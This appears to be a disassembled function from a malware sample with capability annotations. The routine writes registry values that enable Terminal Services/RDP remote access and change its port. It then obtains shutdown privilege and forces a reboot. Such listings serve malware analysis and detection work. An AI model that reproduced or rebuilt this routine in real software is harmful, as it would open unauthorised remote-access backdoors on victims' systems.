Function at 0x401ac0
Capabilities:
Persist via windows service
Resolve function by parsing pe exports
Set registry value
Shutdown system

Disassembly:
sub esp, 0xc8
mov eax, 0x80000002
push ebx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov eax, 0x4197ac
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [esp + 0x98], eax
mov dword [esp + 0x9c], eax
push ebp
mov eax, 0x4197a4
push esi
push edi
mov dword [esp + 0xac], eax
mov dword [esp + 0xb0], eax
mov edi, 4
mov eax, str.Start
mov dword [esp + 0x20], str.SOFTWAREMicrosoftWindowsCurrentVersion_netcache_
mov dword [esp + 0x24], str.SOFTWAREPoliciesMicrosoftWindowsInstaller_
mov dword [esp + 0x28], str.SYSTEMCurrentControlSetControlTerminal_Server_
mov dword [esp + 0x2c], str.SYSTEMCurrentControlSetServicesTermDD_
mov dword [esp + 0x30], str.SYSTEMCurrentControlSetServicesTermService_
mov dword [esp + 0x34], str.SYSTEMCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp_
mov dword [esp + 0x38], str..DEFAULTKeyboard_LayoutToggle_
mov dword [esp + 0x54], 0x80000003
mov dword [esp + 0x84], edi
mov dword [esp + 0x88], edi
mov dword [esp + 0x8c], edi
mov dword [esp + 0x90], edi
mov dword [esp + 0x94], edi
mov dword [esp + 0x98], edi
mov dword [esp + 0x9c], 1
mov dword [esp + 0xa0], 0x41cc44
mov dword [esp + 0xb4], 0x419634
mov dword [esp + 0xb8], 0x419630
mov dword [esp + 0x68], edi
mov dword [esp + 0x6c], edi
mov dword [esp + 0x70], edi
mov dword [esp + 0x74], edi
mov dword [esp + 0x78], edi
mov dword [esp + 0x7c], edi
mov dword [esp + 0x80], 2
mov dword [esp + 0xbc], str.Enabled
mov dword [esp + 0xc0], str.EnableAdminTSRemote
mov dword [esp + 0xc4], str.TSEnabled
mov dword [esp + 0xc8], eax
mov dword [esp + 0xcc], eax
mov dword [esp + 0xd0], str.PortNumber
mov dword [esp + 0xd4], str.Hotkey
xor esi, esi
mov ecx, dword [esp + esi + 0x20]
mov edx, dword [esp + esi + 0x3c]
lea eax, [esp + 0x10]
push 0
push eax
push 0
push 0x20006
push 0
push 0
push 0
push ecx
push edx
call ebx
add esi, edi
cmp esi, 8
jl 0x401c1d
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor esi, esi
mov ecx, dword [esp + esi + 0x20]
mov edx, dword [esp + esi + 0x3c]
lea eax, [esp + 0x10]
push eax
push 0x20006
push 0
push ecx
push edx
call ebx
test eax, eax
jne 0x401d29
mov eax, dword [esp + esi + 0x68]
mov ecx, dword [esp + esi + 0xa0]
mov edx, dword [esp + esi + 0x84]
push eax
mov eax, dword [esp + esi + 0xc0]
push ecx
mov ecx, dword [esp + 0x18]
push edx
push 0
push eax
push ecx
call ebp
test eax, eax
jne 0x401d29
add esi, edi
cmp esi, 0x1c
jl 0x401c52
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea edx, [esp + 0x14]
push edx
push 0x20
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x401d29
lea eax, [esp + 0x18]
push eax
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x401d29
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
push 0
push 0
lea eax, [esp + 0x60]
mov dword [esp + 0x64], ecx
mov ecx, dword [esp + 0x1c]
push 0
push eax
push 0
push ecx
mov dword [esp + 0x70], 1
mov dword [esp + 0x78], edx
mov dword [esp + 0x7c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x401d29
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc8
ret